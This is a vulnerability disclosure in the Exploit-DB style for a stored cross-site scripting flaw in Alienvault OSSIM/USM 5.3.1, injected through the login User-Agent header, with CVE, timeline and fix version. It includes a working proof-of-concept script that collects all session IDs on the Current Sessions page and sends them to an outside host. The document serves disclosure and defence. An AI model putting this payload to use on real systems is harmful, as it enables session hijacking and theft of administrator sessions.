Alienvault OSSIM/USM 5.3.1 - Persistent Cross-Site Scripting

EDB-ID:

40683


Platform:

PHP

Published:

2016-11-02

Details
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Product: Alienvault OSSIM/USM
Vulnerability: Stored XSS
Author: Peter Lapp, lappsec () gmail com
CVE: CVE-2016-8581
CVSS: 3.5
Vulnerable Versions: <=5.3.1
Fixed Version: 5.3.2



Vulnerability Details
=====================

A stored XSS vulnerability exists in the User-Agent header of the
login process. It's possible to inject a script into that header that
then gets executed when mousing over the User-Agent field in Settings
-> Current Sessions.



POC
===

The POC uses jQuery to send all session IDs on the "Current Sessions"
page to an arbitrary site (Google, in this case)

<script>$('#ops_table
.ops_id').each(function(){$.get("https://www.google.com/",{session:($(this).html())});});</script>



Timeline
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08/03/16 - Reported to Vendor
10/03/16 - Fixed in version 5.3.2



References
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https://www.alienvault.com/forums/discussion/7766/security-advisory-alienvault-5-3-2-address-70-vulnerabilities